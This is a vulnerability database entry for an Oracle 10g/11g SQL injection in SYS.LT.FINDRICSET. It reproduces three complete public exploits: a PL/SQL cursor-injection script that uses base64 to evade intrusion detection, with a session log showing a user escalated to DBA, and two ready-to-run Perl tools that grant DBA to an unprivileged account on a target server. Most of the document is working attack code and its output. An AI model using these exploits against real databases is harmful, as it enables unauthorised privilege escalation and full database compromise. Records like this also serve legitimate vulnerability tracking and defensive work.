Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 4572
Publication date : 2007-10-26 22h00 +00:00
Author : sh2kerr
EDB Verified : Yes
/******************************************************************/
/******* Oracle 10g LT.FINDRICSET SQL Injection Exploit **********/
/******************************************************************/
/*********** sploit grant DBA to scott **************/
/*********** evil cursor injection **************/
/*********** No "create procedure" privileg needed! **************/
/*********** + Funny IDS evasion vith base64 **************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0 *******************/
/******************************************************************/
/******************************************************************/
/* Date of Public EXPLOIT: October 26, 2007 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email:
[email protected] */
/* site: http://www.dsec.ru */
/******************************************************************/
/* Original Advisory by: */
/* David Litchfield [
[email protected] ] */
/* Reported: 22nd August 2006 */
/* Date of Public Advisory: October 17, 2007 */
/* Advisory number: #NISR17102007B */
/* */
/******************************************************************/
/* P.S. Special thanks David Litchfield for all his work **/
/******************************************************************/
/* you may need some tweaks to make it work with other users except skott :) */
select * from user_role_privs;
DECLARE
c2gya2Vy NUMBER;
BEGIN
c2gya2Vy := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(c2gya2Vy,utl_encode.text_decode('ZGVjbGFyZSBwcmFnbWEgYXV0b25vbW91c190cmFuc2FjdGlvbjsgYmVnaW4gZXhlY3V0ZSBpbW1lZGlhdGUgJ0dSQU5UIERCQSBUTyBTQ09UV
Cc7Y29tbWl0O2VuZDs=','WE8ISO8859P1', UTL_ENCODE.BASE64),0);
SYS.LT.FINDRICSET('TGV2ZWwgMSBjb21sZXRlIDop.U2VlLnUubGF0ZXIp''||dbms_sql.execute('||c2gya2Vy||')||''','DEADBEAF');
END;
select * from user_role_privs;
-----------------------------LOG---------------------------------------------
-- -- --SQL*Plus: Release 10.1.0.2.0 - Production on Fri Oct 26 16:51:39 2007 -- --Copyright (c) 1982, 2004, Oracle. All rights reserved. -- -- --Connected to: --Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production --With the Partitioning, OLAP and Data Mining options -- -- -- --SQL> select * from user_role_privs; -- --USERNAME GRANTED_ROLE ADM DEF OS_ -------------------------------- ------------------------------ --- --- --- --SCOTT CONNECT NO YES NO --SCOTT RESOURCE NO YES NO -- --SQL> DECLARE -- 2 c2gya2Vy NUMBER; -- 3 BEGIN -- 4 c2gya2Vy := DBMS_SQL.OPEN_CURSOR; -- 5 DBMS_SQL.PARSE(c2gya2Vy,utl_encode.text_decode('ZGVjbGFyZSBwcmFnbWEgYXV0b25 --vbW91c190cmFuc2FjdGlvbjsgYmVnaW4gZXhlY3V0ZSBpbW1lZGlhdGUgJ0dSQU5UIERCQSBUTyBTQ09 --UVCc7Y29tbWl0O2VuZDs=','WE8ISO8859P1', UTL_ENCODE.BASE64),0); --6 SYS.LT.FINDRICSET('TGV2ZWwgMSBjb21sZXRlIDop.U2VlLnUubGF0ZXIp''||dbms_sql. --execute('||c2gya2Vy||')||''','DEADBEAF'); --7 END; --8 / --TGV2ZWWGMSBJB21SZXRLIDOP.U2VLLNUUBGF0ZXIP1 -- --PL/SQL procedure successfully completed. -- --SQL> select * from user_role_privs; -- --USERNAME GRANTED_ROLE ADM DEF OS_ -------------------------------- ------------------------------ --- --- --- --SCOTT CONNECT NO YES NO --SCOTT DBA NO YES NO --SCOTT RESOURCE NO YES NO -- --SQL> -- -- --
// milw0rm.com [2007-10-27]
Exploit Database EDB-ID : 4570
Publication date : 2007-10-26 22h00 +00:00
Author : bunker
EDB Verified : Yes
#!/usr/bin/perl
#
# http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricset.pl
#
# Oracle SYS.LT.FINDRICSET exploit (11g/10g)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.5.0"
#
# Fixed with CPU Oct. 2007
#
# REF: Thanks to Joxean Koret and his excellent Inguma
# http://sourceforge.net/projects/inguma
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Fri Oct 26 15:03:46 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r
# [-] Wait...
# [-] Revoking DBA from SFIGATO...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM SFIGATO"] at sys-lt-findricset.pl line 86.
# [-] Done!
#
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -g
# [-] Wait...
# [-] Creating evil function...
# [-] Go...
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r
# [-] Wait...
# [-] Revoking DBA from SFIGATO...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );
print "[-] Go...\n";
my $sth = $dbh->prepare( qq{
BEGIN
SYS.LT.FINDRICSET('.''||$user.own||'''')--','x');
END;});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
# milw0rm.com [2007-10-27]
Exploit Database EDB-ID : 4571
Publication date : 2007-10-26 22h00 +00:00
Author : bunker
EDB Verified : Yes
#!/usr/bin/perl
#
# http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricsetV2.pl
#
# Oracle SYS.LT.FINDRICSET exploit (11g/10g)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privilege needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.5.0"
#
# Fixed with CPU Oct. 2007
#
# REF: Thanks to Joxean Koret and his excellent Inguma
# http://sourceforge.net/projects/inguma
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Fri Oct 26 15:03:46 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl sys-lt-findricsetV2.pl -h localhost -s FAKE -u sfigato -p **** -r
# [-] Wait...
# [-] Revoking DBA from SFIGATO...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM SFIGATO"] at sys-lt-findricsetV2.pl line 69.
# [-] Done!
#
# bunker@fin:~$ perl sys-lt-findricsetV2.pl -h localhost -s FAKE -u sfigato -p **** -g
# [-] Wait...
# [-] Creating evil cursor...
# Cursor: 1
# [-] Go...
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl sys-lt-findricsetV2.pl -h localhost -s FAKE -u sfigato -p **** -r
# [-] Wait...
# [-] Revoking DBA from SFIGATO...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
$dbh->func( 1000000, 'dbms_output_enable' );
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil cursor...\n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$line\n";
if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
}
$sth->finish;
print "[-] Go...\n";
$sth = $dbh->prepare(qq{
BEGIN
SYS.LT.FINDRICSET('.''||dbms_sql.execute($cursor)||'''')--','x');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
# milw0rm.com [2007-10-27]
Products Mentioned
Configuraton 0
Oracle>>Database_server >> Version *
References